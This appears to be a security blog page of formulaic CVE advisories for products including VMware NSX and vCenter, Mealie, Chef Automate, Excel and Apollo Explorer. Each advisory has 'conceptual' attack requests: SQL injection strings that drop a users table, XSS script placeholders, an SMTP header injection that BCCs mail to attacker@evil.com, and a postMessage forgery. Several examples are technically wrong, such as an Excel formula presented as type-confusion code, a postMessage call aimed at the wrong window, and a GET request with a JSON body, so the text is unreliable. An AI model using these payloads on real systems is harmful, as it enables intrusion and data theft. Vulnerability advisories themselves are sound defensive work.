Author: Ameeba

CVE-2025-41251: Unveiling VMware NSX’s Weak Password Recovery Mechanism Vulnerability
Overview

In today’s digital landscape, cybersecurity has become a top priority for businesses and organizations. A single vulnerability can open the door to catastrophic data breaches and system compromises. This blog post delves into one such vulnerability, CVE-2025-41251, a critical weakness found within VMware NSX’s password recovery mechanism. This vulnerability threatens numerous versions of VMware NSX and VMware Cloud Foundation, and if unaddressed, could lead to potential system compromise or data leakage. With a CVSS Severity Score of 8.1, this vulnerability is one that cannot be overlooked.

Vulnerability Summary

CVE ID: CVE-2025-41251
Severity: Important, CVSSv3: 8.1 (High)
Attack Vector: Remote, unauthenticated
Privileges Required: None
User Interaction: None
Impact: Username enumeration leading to credential brute force risk, potential system compromise or data leakage.

Affected Products

Product | Affected Versions

VMware NSX | 9.x.x.x, 4.2.x, 4.1.x, 4.0.x
NSX-T | 3.x
VMware Cloud Foundation (with NSX) | 5.x, 4.5.x

How the Exploit Works

The vulnerability lies within the password recovery mechanism of VMware’s NSX product. An unauthenticated attacker could exploit this vulnerability to enumerate valid usernames potentially. This enumeration process could then help facilitate a brute-force attack by trying combinations of usernames and passwords until the correct one is found. Given that the attack can be carried out remotely, it significantly increases the risk associated with this vulnerability.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could be a crafted HTTP request to the password recovery endpoint. An example would look like this:
```
GET /password_recovery HTTP/1.1
Host: target.example.com
{ "username": "admin" }
```
This request would return a response that could inadvertently reveal whether the username “admin” is valid or not, thereby enabling username enumeration.

Impact Summary

If successfully exploited, CVE-2025-41251 could lead to a severe security breach. The malicious actor could potentially gain unauthorized access to the system, leading to system compromise or data leakage.

Mitigation Guidance

Given the severity of the vulnerability, users are advised to apply the vendor patch immediately. VMware has released fixed versions for the affected products: NSX 9.0.1.0, 4.2.2.2/4.2.3.1, 4.1.2.7; NSX-T 3.2.4.3; and a CCF async patch (KB88287). In scenarios where immediate patching is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation. However, these should not be considered long-term solutions as they do not address the root cause of the vulnerability.

Acknowledgments

This vulnerability was reported by the National Security Agency, highlighting the importance of collaborative efforts in enhancing cybersecurity across the board.
October 4, 2025
CVE-2025-57483: Reflected XSS Vulnerability in tawk.to Chatbox Widget v4
Overview

Today we’re looking into a critical cybersecurity vulnerability that has been identified as CVE-2025-57483. This vulnerability is a reflected Cross-Site Scripting (XSS) flaw found within the tawk.to chatbox widget version 4, a commonly used service for online customer service communications. The exploitation of this vulnerability could allow an attacker to execute arbitrary Javascript within the context of the user’s browser. This is particularly concerning as it potentially allows for system compromise and data leakage, posing a substantial risk to both user privacy and enterprise security.

Vulnerability Summary

CVE ID: CVE-2025-57483
Severity: High – CVSS Score 8.1
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

tawk.to | Chatbox Widget v4

How the Exploit Works

The exploitation of this vulnerability hinges on the injection of a malicious Javascript payload into a vulnerable parameter of the tawk.to chatbox widget. Due to the nature of reflected XSS vulnerabilities, the injected script is sent by the attacker in the form of a modified URL. When a user clicks on this URL, the malicious script is executed in their browser, potentially leading to a system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload:
```
GET /chatbox/?user-input=<script>malicious_payload</script> HTTP/1.1
Host: target.example.com
```
In the above example, `malicious_payload` represents the attacker’s arbitrary Javascript code. When the user navigates to this URL, the `user-input` parameter in the URL is reflected back in the HTTP response, causing the user’s browser to execute the malicious script.

Mitigation and Fixes

The preferred way to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation, helping to identify and block potential exploit attempts. It is also recommended to escape all user input within the application and enable Content Security Policy (CSP) headers to further protect against Cross-Site Scripting attacks.
October 4, 2025
CVE-2025-41250: SMTP Header Injection Vulnerability in VMware vCenter
Overview

The cybersecurity world is witnessing a surge in the number of vulnerabilities affecting various software platforms. One such critical vulnerability, identified as CVE-2025-41250, has been found in VMware vCenter. It is a SMTP header injection vulnerability that could lead to potential system compromise or data leakage.
VMware vCenter, a widely used virtualization management tool, is critical to many enterprise environments. This vulnerability holds a significant impact as it allows a malicious actor with non-administrative privileges, who has the permission to create scheduled tasks, to manipulate the notification emails sent for scheduled tasks. This could potentially lead to various security implications, making it a matter of high concern for organizations relying on VMware vCenter.

Vulnerability Summary

CVE ID: CVE-2025-41250
Severity: High (CVSS 8.5)
Attack Vector: Network
Privileges Required: Low (non-administrative privileges and permission to create scheduled tasks)
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

VMware vCenter

How the Exploit Works

The exploit takes advantage of the SMTP header injection vulnerability present in VMware vCenter. When an attacker with the ability to create scheduled tasks manipulates the notification emails sent for these tasks, they can inject malicious code or content into the SMTP headers. This can lead to various attacks, including phishing, execution of arbitrary commands, or even system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a snippet of the malicious payload injected into the SMTP headers:
```
POST /create/scheduled_task HTTP/1.1
Host: vulnerable.vcenter.com
Content-Type: application/json
{
"task_name": "Regular Maintenance",
"notification_email": "admin@company.com\nBCC: attacker@evil.com\nSubject: System Compromise\n\nAttached payload..."
}
```
In this example, the attacker manipulates the `notification_email` field to inject additional SMTP headers, effectively turning the original email into a BCC email to the attacker and changing the subject. The email body also contains a malicious payload.

Mitigation Guidance

Users are strongly advised to apply the latest vendor patch provided by VMware to mitigate this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. Regular checks for any unusual activity in the scheduled tasks and their notification emails are also recommended until the patch is applied.
October 4, 2025
CVE-2025-56795: Stored Cross-Site Scripting Vulnerability in Mealie Recipe Creation Functionality
Overview

Cross-Site Scripting (XSS) vulnerabilities are a common and pervasive class of web application security flaws that represent a significant risk to both businesses and their consumers. In this article, we will be discussing a stored XSS vulnerability in Mealie 3.0.1 and earlier, identified as CVE-2025-56795. This vulnerability affects the recipe creation functionality and could potentially lead to system compromise or data leakage if exploited.
This vulnerability is particularly significant due to the high CVSS severity score of 9.0, which indicates a major potential impact. Any entity using Mealie 3.0.1 or earlier in their systems should take immediate notice and apply the necessary mitigations to prevent potential exploits.

Vulnerability Summary

CVE ID: CVE-2025-56795
Severity: Critical (CVSS 9.0)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Mealie | 3.0.1 and earlier

How the Exploit Works

The vulnerability originates from unsanitized user input in the “note” and “text” fields of the “/api/recipes/{recipe_name}” endpoint. The input is rendered in the frontend without proper escaping. An attacker could exploit this flaw by injecting malicious scripts into these fields. As a result, when the payload is rendered on the frontend, the malicious script is executed in the context of the victim’s session, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request where the attacker injects a malicious script into the “note” field:
```
POST /api/recipes/{recipe_name} HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"note": "<script>malicious code here</script>",
"text": "normal input"
}
```
In this example, the malicious code within the script tags would be executed whenever the note is rendered on the frontend. The actual malicious code would depend on the intent of the attacker, and could range from stealing session cookies, to performing actions on behalf of the user, to loading external malicious content.

Mitigation Guidance

It is strongly recommended to apply the vendor-provided patch to fix this vulnerability. If for any reason the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures are not a long-term solution and the patch should be applied as soon as possible to fully secure your system.
October 4, 2025
CVE-2025-6724: Chef Automate SQL Injection Vulnerability
Overview

In this article, we are going to delve into the details of an identified vulnerability in Progress Chef Automate, CVE-2025-6724. This vulnerability affects versions earlier than 4.13.295 and is specific to Linux x86 platform. It is of significant concern as an authenticated attacker can gain access to restricted functionality in multiple Chef Automate services. This is achieved via improperly neutralized inputs that are used in an SQL command, potentially leading to system compromise or data leakage. In an era where data security is paramount, understanding and mitigating such vulnerabilities is crucial for maintaining the integrity of our systems.

Vulnerability Summary

CVE ID: CVE-2025-6724
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Authenticated User)
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Progress Chef Automate | Versions earlier than 4.13.295

How the Exploit Works

The vulnerability stems from the usage of improperly neutralized user inputs that are utilized in SQL commands. This means that the application does not adequately sanitize user-supplied input, potentially leading to SQL injection. An attacker, who is authenticated, can therefore manipulate the SQL query to gain unauthorized access to the system’s database, potentially compromising the system or causing data leakage.

Conceptual Example Code

This example represents a potential SQL injection attack, where the “malicious_payload” might be an SQL statement designed to manipulate the database. Note that this is a hypothetical scenario only, created to illustrate the nature of the vulnerability, and does not represent an actual exploit.
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "'; DROP TABLE users; --" }
```
In this example, if the application does not properly sanitize the input, the SQL statement embedded in the “malicious_payload” would be executed, potentially leading to severe consequences such as deletion of the users table in this case.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These can help to prevent SQL injection attempts by blocking suspicious SQL queries. It is also recommended to always follow best practices for SQL queries, such as using parameterized queries or prepared statements, to prevent SQL injection vulnerabilities.
October 4, 2025
CVE-2024-13150: Severe SQL Injection Vulnerability in Fayton Software’s fayton.Pro ERP
Overview

A critical vulnerability, cataloged as CVE-2024-13150, has been identified in the Fayton Software and Consulting Services’ product, fayton.Pro ERP. This vulnerability is due to an improper neutralization of special elements used in an SQL command, often referred to as an ‘SQL Injection’ vulnerability. The vulnerability is significant due to its potential to compromise systems or lead to data leakage. The affected software is widely used in various sectors, making this a critical concern for businesses relying on fayton.Pro ERP for their enterprise resource planning needs.

Vulnerability Summary

CVE ID: CVE-2024-13150
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Fayton.Pro ERP | All versions up to 20250929

How the Exploit Works

The vulnerability stems from the lack of proper sanitization of user-supplied data in SQL commands within the fayton.Pro ERP software. An attacker can exploit this by injecting malicious SQL code into the system. This code could then be executed by the database, bypassing authentication mechanisms and providing the attacker unauthorized access to sensitive data or control over the system.

Conceptual Example Code

Consider the following conceptual example of how this vulnerability might be exploited. This example assumes the attacker has identified a vulnerable input field within the application:
```
POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin'; DROP TABLE users; --&password=123
```
In this example, the attacker has inserted a malicious SQL command into the ‘username’ field. If the application does not properly sanitize this input, the SQL command will be executed, resulting in the deletion of the ‘users’ table from the database.

Mitigation Guidance

The best course of action to mitigate this vulnerability is to apply the vendor patch once available. However, as a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block SQL Injection attacks. Additionally, it’s recommended to review and update the software’s input validation processes to prevent similar vulnerabilities in the future.
October 4, 2025
CVE-2025-8868: Critical SQL Injection Vulnerability in Progress Chef Automate
Overview

CVE-2025-8868 is a critical vulnerability identified in Progress Chef Automate, versions earlier than 4.13.295, on the Linux x86 platform. This vulnerability allows an authenticated attacker to gain unauthorized access to Chef Automate’s restricted functionality in the compliance service. Through the exploitation of improperly neutralized inputs used in SQL commands, attackers can potentially compromise the system or cause data leakage. Given the severity of this vulnerability, it is essential for users and administrators to understand its implications and implement the recommended mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-8868
Severity: Critical (9.8/10 CVSS v3.0 Severity)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Progress Chef Automate | Versions earlier than 4.13.295

How the Exploit Works

An authenticated attacker can exploit this vulnerability by injecting malicious SQL commands into the system through improperly neutralized inputs. The system does not appropriately sanitize user inputs, which are then used in SQL commands. This process can allow an attacker to manipulate the database query, alter the structure, and possibly execute arbitrary SQL commands on the server. As a result, the attacker can gain unauthorized access to restricted functionalities and data.

Conceptual Example Code

While the specific exploit code for this vulnerability has not been disclosed to prevent misuse, a conceptual example of an SQL injection might look like this:
```
POST /compliance_service/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "admin'; DROP TABLE users; --" }
```
In this conceptual example, the SQL command ‘DROP TABLE users’ is injected into the normal user input. If the application does not properly sanitize the input, this could lead to the deletion of an entire user database.

Mitigation Guidelines

Users and administrators are advised to apply the vendor patch as soon as possible. As temporary mitigation, utilizing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and block attempted exploits. However, these methods should not be used as a substitute for applying the vendor-released patch, which directly addresses the vulnerability.
October 4, 2025
CVE-2025-53739: Unauthorized Code Execution via Type Confusion in Microsoft Office Excel
Overview

CVE-2025-53739 is a critical vulnerability that affects Microsoft Office Excel. The vulnerability stems from an access of resource using incompatible type, otherwise known as ‘type confusion’. This flaw can be exploited by an unauthorized attacker to execute code locally on the victim’s system. Given the widespread use of Microsoft Office Excel in both professional and personal contexts, this vulnerability has far-reaching implications. If successfully exploited, it could potentially compromise systems or lead to data leakage, posing a significant threat to data privacy and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-53739
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Microsoft Office Excel | All versions prior to the latest patch

How the Exploit Works

The CVE-2025-53739 vulnerability involves ‘type confusion’ in Microsoft Office Excel. Normally, different types of data in a program are handled using separate, compatible resources. However, a flaw in Excel allows an attacker to manipulate these data types in a way the program does not expect, causing confusion.
An attacker, for instance, could craft a malicious Excel file that causes the program to treat a string of text as if it were a pointer to a memory location. This could allow the attacker to execute arbitrary code on the victim’s system when the file is opened.

Conceptual Example Code

While the specifics of exploiting this vulnerability are complex and depend on the system’s exact configuration, a conceptual example might look something like this:
```
=A1+MALICIOUS_CODE()
```
In this example, `A1` is a normal cell reference, but `MALICIOUS_CODE()` represents an attacker’s attempt to introduce an unexpected data type – executable code – into a calculation. When Excel tries to perform the operation, it may execute the attacker’s code, leading to potential system compromise or data leakage.
Note: This is a simplification for illustrative purposes. Actual exploitation would involve specific memory mapping techniques and carefully crafted code to exploit the type confusion flaw.
October 4, 2025
CVE-2025-59945: Unauthorized Admin Access Vulnerability in SysReptor Pentest Reporting Platform
Overview

SysReptor, a popular pentest reporting platform, is grappling with an alarming security flaw (CVE-2025-59945) that exposes pentesting projects to unauthorized access and potential manipulation. This vulnerability is particularly concerning because it allows authenticated, but unprivileged users to assign themselves the ‘is_project_admin’ permission, thereby gaining unauthorized access to sensitive projects. As a result, these users can read, modify, and even delete pentesting projects they are not supposed to access, posing serious cybersecurity implications.
The flaw affects versions from 2024.74 to before 2025.83 of the SysReptor platform. It is critical for organizations using this software to understand the implications of this vulnerability, how it can be exploited, and the steps required for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-59945
Severity: High (CVSS score: 8.1)
Attack Vector: Network
Privileges Required: Low (Authenticated but unprivileged users)
User Interaction: Required
Impact: Unauthorized access to pentesting projects, potential data leakage or system compromise

Affected Products

Product | Affected Versions

SysReptor | 2024.74 to 2025.82

How the Exploit Works

The flaw hinges on a permission misconfiguration in the SysReptor platform. Authenticated, yet unprivileged users can manipulate the system to assign themselves the ‘is_project_admin’ permission. This provides them with unauthorized access to pentesting projects that they are not members of. Given the sensitive nature of these projects, attackers could potentially read, modify, or delete essential data, leading to significant security breaches.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example simulates an HTTP request to assign ‘is_project_admin’ permission to the user.
```
POST /api/users/assign_permission HTTP/1.1
Host: target.sysreptor.com
Content-Type: application/json
Authorization: Bearer {user_token}
{
"user_id": "{victim_user_id}",
"permission": "is_project_admin"
}
```
In this request, an attacker is using a legitimate user token to assign ‘is_project_admin’ permission to their user ID.

Mitigation and Prevention

SysReptor has released a patch in version 2025.83 to address this vulnerability. Users are highly encouraged to update their platform to this version or later. In case the patch cannot be applied immediately, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block any suspicious attempts to manipulate user permissions.
October 3, 2025
CVE-2025-59845: CSRF Vulnerability in Apollo Studio Embeddable Explorer & Embeddable Sandbox
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security flaw in two key Apollo GraphQL products: Apollo Studio Embeddable Explorer and Embeddable Sandbox. This vulnerability, cataloged as CVE-2025-59845, has severe implications, potentially leading to system compromise or data leakage. It can affect any organization or individual who utilizes versions of these products prior to Apollo Sandbox version 2.7.2 and Apollo Explorer version 3.7.3. This exploit matters significantly due to the severity of its potential impact and the widespread use of the affected software.

Vulnerability Summary

CVE ID: CVE-2025-59845
Severity: High, with a CVSS score of 8.2
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apollo Sandbox | Prior to version 2.7.2
Apollo Explorer | Prior to version 3.7.3

How the Exploit Works

The vulnerability stems from a lack of origin validation in the client-side code that handles window.postMessage events. In essence, a malicious website can send forged messages to the page embedding the Apollo software. This action triggers the victim’s browser to execute arbitrary GraphQL queries or mutations against their GraphQL server, using the victim’s cookies for authentication. The result is potential unauthorized access to sensitive data or system compromise.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
// attacker's site
window.open("https://target.com/embedded_apollo_page", "_blank", "height=600,width=800");
// a few seconds later...
window.postMessage({
type: "graphql_query",
query: "{ user { id, email, password } }",
}, "https://target.com");
```
This code opens the vulnerable page in a new window and then sends a malicious postMessage event with a GraphQL query designed to fetch sensitive user data.

Recommendations for Mitigation

Taking immediate action to mitigate this vulnerability is highly advised. The best course of action is to apply the vendor patch. Update to Apollo Sandbox version 2.7.2 and Apollo Explorer version 3.7.3, as these versions have patched this vulnerability. As a temporary mitigation, consider utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block cross-site request forgery attempts.
October 3, 2025